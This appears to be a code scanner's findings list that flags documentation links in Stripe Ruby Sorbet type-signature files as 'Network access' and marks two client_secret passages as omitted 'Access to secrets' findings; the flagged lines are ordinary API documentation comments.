  • Network accessline 3000
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 3001
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Learn more about [storin
  • Network accessline 3002
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Learn more about [storing information in metad
  • Network accessline 3019
    sig { returns(T.nilable(T.any(String, ::Stripe::PaymentMethod))) }     def payment_method; end     # Information about the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) used for this PaymentIntent
  • Network accessline 3020
    def payment_method; end     # Information about the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) used for this PaymentIntent.     sig { returns(T.nilable(PaymentMethodConfigurationDetails)) }
  • Network accessline 3021
    # Information about the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) used for this PaymentIntent.
  • Network accessline 3025
    sig { returns(T.nilable(PaymentMethodOptions)) }     def payment_method_options; end     # The list of payment method types (e.g. card) that this PaymentIntent is allowed to use. A comprehensive list of valid payment method types can be fou
  • Network accessline 3026
    def payment_method_options; end     # The list of payment method types (e.g. card) that this PaymentIntent is allowed to use. A comprehensive list of valid payment method types can be found [here](https://docs.stripe.com/api/payment_methods
  • Network accessline 3027
    # The list of payment method types (e.g. card) that this PaymentIntent is allowed to use. A comprehensive list of valid payment method types can be found [here](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type).
  • Network accessline 3034
    sig { returns(T.nilable(Processing)) }     def processing; end     # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of 
  • Network accessline 3035
    def processing; end     # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.str
  • Network accessline 3036
    # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.stripe.com/account/emails).
  • Network accessline 3057
    }     def source; end     # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 
  • Network accessline 3058
    def source; end     # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-cha
  • Network accessline 3059
    # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t
  • Network accessline 3060
    #     # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.     sig { returns(T.nilable(String)) 
  • Network accessline 3061
    # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.
  • Network accessline 3062
    sig { returns(T.nilable(String)) }     def statement_descriptor; end     # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descripto
  • Network accessline 3063
    def statement_descriptor; end     # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete stateme
  • Network accessline 3064
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 3065
    sig { returns(T.nilable(String)) }     def statement_descriptor_suffix; end     # Status of this PaymentIntent, one of `requires_payment_method`, `requires_confirmation`, `requires_action`, `processing`, `requires_capture`, `canceled`, or `
  • Network accessline 3066
    def statement_descriptor_suffix; end     # Status of this PaymentIntent, one of `requires_payment_method`, `requires_confirmation`, `requires_action`, `processing`, `requires_capture`, `canceled`, or `succeeded`. Read more about each Paymen
  • Network accessline 3067
    # Status of this PaymentIntent, one of `requires_payment_method`, `requires_confirmation`, `requires_action`, `processing`, `requires_capture`, `canceled`, or `succeeded`. Read more about each PaymentIntent [status](https://docs.stripe.com/
  • Network accessline 3068
    sig { returns(String) }     def status; end     # The data that automatically creates a Transfer after the payment finalizes. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
  • Network accessline 3069
    def status; end     # The data that automatically creates a Transfer after the payment finalizes. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).     sig { returns(T.nilable(Trans
  • Network accessline 3070
    # The data that automatically creates a Transfer after the payment finalizes. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
  • Network accessline 3071
    sig { returns(T.nilable(TransferData)) }     def transfer_data; end     # A string that identifies the resulting payment as part of a group. Learn more about the [use case for connected accounts](https://docs.stripe.com/connect/separate-cha
  • Network accessline 3072
    def transfer_data; end     # A string that identifies the resulting payment as part of a group. Learn more about the [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers).     sig { returns(T.nila
  • Network accessline 3073
    # A string that identifies the resulting payment as part of a group. Learn more about the [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers).
  • Network accessline 3088
    # You can cancel a PaymentIntent object when it's in one of these statuses: requires_payment_method, requires_capture, requires_confirmation, requires_action or, [in rare cases](https://docs.stripe.com/docs/payments/intents), processing.
  • Network accessline 3090
    # After it's canceled, no additional charges are made by the PaymentIntent and any operations on the PaymentIntent fail with an error. For PaymentIntents with a status of requires_capture, the remaining amount_capturable is automatically re
  • Network accessline 3091
    #     # You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead.     sig {
  • Network accessline 3092
    # You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead.
  • Network accessline 3098
    # You can cancel a PaymentIntent object when it's in one of these statuses: requires_payment_method, requires_capture, requires_confirmation, requires_action or, [in rare cases](https://docs.stripe.com/docs/payments/intents), processing.
  • Network accessline 3100
    # After it's canceled, no additional charges are made by the PaymentIntent and any operations on the PaymentIntent fail with an error. For PaymentIntents with a status of requires_capture, the remaining amount_capturable is automatically re
  • Network accessline 3101
    #     # You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead.     sig {
  • Network accessline 3102
    # You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead.
  • Network accessline 3110
    # Uncaptured PaymentIntents are cancelled a set number of days (7 by default) after their creation.     #     # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later).
  • Network accessline 3111
    #     # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later).     sig {
  • Network accessline 3112
    # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later).
  • Network accessline 3120
    # Uncaptured PaymentIntents are cancelled a set number of days (7 by default) after their creation.     #     # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later).
  • Network accessline 3121
    #     # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later).     sig {
  • Network accessline 3122
    # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later).
  • Network accessline 3139
    #     # If the confirmation_method is automatic, payment may be attempted     # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)
  • Network accessline 3140
    # If the confirmation_method is automatic, payment may be attempted     # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)     # and the PaymentIntent's [client_secret](https://docs.stripe
  • Network accessline 3141
    # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)
  • Network accessline 3142
    [Credential-related source omitted]
  • Access to secretsline 3142
    [Credential-related source omitted]
  • Network accessline 3174
    #     # If the confirmation_method is automatic, payment may be attempted     # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)
  • Network accessline 3175
    # If the confirmation_method is automatic, payment may be attempted     # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)     # and the PaymentIntent's [client_secret](https://docs.stripe
  • Network accessline 3176
    # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)
  • Network accessline 3177
    [Credential-related source omitted]
  • Access to secretsline 3177
    [Credential-related source omitted]
  • Network accessline 3198
    # Creates a PaymentIntent object.     #     # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm)
  • Network accessline 3199
    #     # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm)     # to continue the payment. Learn more about <a href="/docs/payments/payment-intents">the availab
  • Network accessline 3200
    # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm)
  • Network accessline 3204
    # When you use confirm=true during creation, it's equivalent to creating     # and confirming the PaymentIntent in the same call. You can use any parameters     # available in the [confirm API](https://docs.stripe.com/docs/api/payment_inten
  • Network accessline 3205
    # and confirming the PaymentIntent in the same call. You can use any parameters     # available in the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) when you supply     # confirm=true.
  • Network accessline 3206
    # available in the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) when you supply
  • Network accessline 3213
    # Perform an incremental authorization on an eligible     # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the
  • Network accessline 3214
    # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the
  • Network accessline 3215
    # PaymentIntent's status must be requires_capture and     # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported)     # m
  • Network accessline 3216
    # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported)
  • Network accessline 3225
    # If the incremental authorization succeeds, the PaymentIntent object     # returns with the updated     # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).
  • Network accessline 3226
    # returns with the updated     # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).     # If the incremental authorization fails, a
  • Network accessline 3227
    # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).
  • Network accessline 3228
    # If the incremental authorization fails, a     # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other     # fields on the PaymentIntent or Charge update. The PaymentIntent
  • Network accessline 3229
    # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other
  • Network accessline 3234
    # After it's captured, a PaymentIntent can no longer be incremented.     #     # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations).
  • Network accessline 3235
    #     # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations).     sig {
  • Network accessline 3236
    # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations).
  • Network accessline 3242
    # Perform an incremental authorization on an eligible     # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the
  • Network accessline 3243
    # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the
  • Network accessline 3244
    # PaymentIntent's status must be requires_capture and     # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported)     # m
  • Network accessline 3245
    # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported)
  • Network accessline 3254
    # If the incremental authorization succeeds, the PaymentIntent object     # returns with the updated     # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).
  • Network accessline 3255
    # returns with the updated     # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).     # If the incremental authorization fails, a
  • Network accessline 3256
    # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).
  • Network accessline 3257
    # If the incremental authorization fails, a     # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other     # fields on the PaymentIntent or Charge update. The PaymentIntent
  • Network accessline 3258
    # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other
  • Network accessline 3263
    # After it's captured, a PaymentIntent can no longer be incremented.     #     # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations).
  • Network accessline 3264
    #     # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations).     sig {
  • Network accessline 3265
    # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations).
  • Network accessline 3291
    # always requires you to confirm the PaymentIntent again. If you prefer to     # update and confirm at the same time, we recommend updating properties through     # the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm)
  • Network accessline 3292
    # update and confirm at the same time, we recommend updating properties through     # the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) instead.     sig {
  • Network accessline 3293
    # the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) instead.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payment_intent_amount_details_line_item.rbi

  • Network accessline 55
    sig { returns(T.nilable(String)) }         def description; end         # The Stripe account ID of the connected account that sells the item. This is only needed when using [Separate Charges and Transfers](https://docs.stripe.com/connect/se
  • Network accessline 56
    def description; end         # The Stripe account ID of the connected account that sells the item. This is only needed when using [Separate Charges and Transfers](https://docs.stripe.com/connect/separate-charges-and-transfers).         sig 
  • Network accessline 57
    # The Stripe account ID of the connected account that sells the item. This is only needed when using [Separate Charges and Transfers](https://docs.stripe.com/connect/separate-charges-and-transfers).
  • Network accessline 85
    end     class Tax < ::Stripe::StripeObject       # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or eq
  • Network accessline 86
    class Tax < ::Stripe::StripeObject       # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0
  • Network accessline 87
    # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0.
  • Network accessline 97
    end     end     # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 98
    end     # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.     #
  • Network accessline 99
    # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 125
    sig { returns(T.nilable(Tax)) }     def tax; end     # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0
  • Network accessline 126
    def tax; end     # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.     sig { returns(Integer) }
  • Network accessline 127
    # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payment_link.rbi

  • Network accessline 6
    # A payment link is a shareable URL that will take your customers to a hosted payment page. A payment link can be shared and used multiple times.   #   # When a customer opens a payment link it will open a new [checkout session](https://doc
  • Network accessline 7
    #   # When a customer opens a payment link it will open a new [checkout session](https://docs.stripe.com/api/checkout/sessions) to render the payment page. You can use [checkout session events](https://docs.stripe.com/api/events/types#event
  • Network accessline 8
    # When a customer opens a payment link it will open a new [checkout session](https://docs.stripe.com/api/checkout/sessions) to render the payment page. You can use [checkout session events](https://docs.stripe.com/api/events/types#event_typ
  • Network accessline 9
    #   # Related guide: [Payment Links API](https://docs.stripe.com/payment-links)   class PaymentLink < APIResource
  • Network accessline 10
    # Related guide: [Payment Links API](https://docs.stripe.com/payment-links)
  • Network accessline 340
    sig { returns(T.nilable(Issuer)) }         def issuer; end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in 
  • Network accessline 341
    def issuer; end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.         sig { returns(
  • Network accessline 342
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 453
    sig { returns(T.nilable(String)) }       def description; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from thi
  • Network accessline 454
    def description; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment link.       sig { returns(T::Ha
  • Network accessline 455
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment link.
  • Network accessline 465
    sig { returns(T.nilable(String)) }       def statement_descriptor_suffix; end       # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connec
  • Network accessline 466
    def statement_descriptor_suffix; end       # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for det
  • Network accessline 467
    # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for details.
  • Network accessline 590
    sig { returns(InvoiceSettings) }       def invoice_settings; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this
  • Network accessline 591
    def invoice_settings; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this payment link.       sig { returns(T::H
  • Network accessline 592
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this payment link.
  • Network accessline 661
    sig { returns(T.nilable(ConsentCollection)) }     def consent_collection; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/cur
  • Network accessline 662
    def consent_collection; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 663
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 688
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 689
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T::Has
  • Network accessline 690
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 697
    sig { returns(String) }     def object; end     # The account on behalf of which to charge. See the [Connect documentation](https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts) for details.
  • Network accessline 698
    def object; end     # The account on behalf of which to charge. See the [Connect documentation](https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts) for details.     sig { returns(T.nilable(T.any(String, ::
  • Network accessline 699
    # The account on behalf of which to charge. See the [Connect documentation](https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts) for details.
  • Network accessline 709
    sig { returns(String) }     def payment_method_collection; end     # The list of payment method types that customers can use. When `null`, Stripe will dynamically show relevant payment methods you've enabled in your [payment method settings
  • Network accessline 710
    def payment_method_collection; end     # The list of payment method types that customers can use. When `null`, Stripe will dynamically show relevant payment methods you've enabled in your [payment method settings](https://dashboard.stripe.c
  • Network accessline 711
    # The list of payment method types that customers can use. When `null`, Stripe will dynamically show relevant payment methods you've enabled in your [payment method settings](https://dashboard.stripe.com/settings/payment_methods).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payment_method.rbi

  • Network accessline 5
    module Stripe   # PaymentMethod objects represent your customer's payment instruments.   # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 6
    # PaymentMethod objects represent your customer's payment instruments.   # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to   # Customer objects to store instrument
  • Network accessline 7
    # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 8
    # Customer objects to store instrument details for future payments.   #   # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scena
  • Network accessline 9
    #   # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).   class PaymentMethod < APIResource
  • Network accessline 10
    # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).
  • Network accessline 128
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 129
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 130
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 140
    sig { returns(T.nilable(String)) }         def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 141
    def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 142
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 278
    sig { returns(T.nilable(String)) }             def brand; end             # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 279
    def brand; end             # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.             sig { returns(T.nilable(String)) }
  • Network accessline 280
    # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 284
    sig { returns(T.nilable(Integer)) }             def capture_before; end             # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special 
  • Network accessline 285
    def capture_before; end             # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). 
  • Network accessline 286
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 316
    sig { returns(T.nilable(String)) }             def iin; end             # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_autho
  • Network accessline 317
    def iin; end             # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/p
  • Network accessline 318
    # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre
  • Network accessline 448
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 449
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 450
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 460
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 461
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 462
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 474
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 475
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 476
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 486
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 487
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 488
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 531
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 532
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 533
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 543
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 544
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 545
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 557
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 558
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 559
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 569
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 570
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 571
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 752
    sig { returns(T.nilable(String)) }       def brand; end       # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 753
    def brand; end       # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.       sig { returns(T.nilable(String)) }
  • Network accessline 754
    # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 755
    sig { returns(T.nilable(String)) }       def brand_product; end       # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and
  • Network accessline 756
    def brand_product; end       # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some
  • Network accessline 757
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 943
    sig { returns(T.nilable(String)) }       def brand; end       # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/l
  • Network accessline 944
    def brand; end       # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, 
  • Network accessline 945
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 1222
    end     class RadarOptions < ::Stripe::StripeObject       # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payme
  • Network accessline 1223
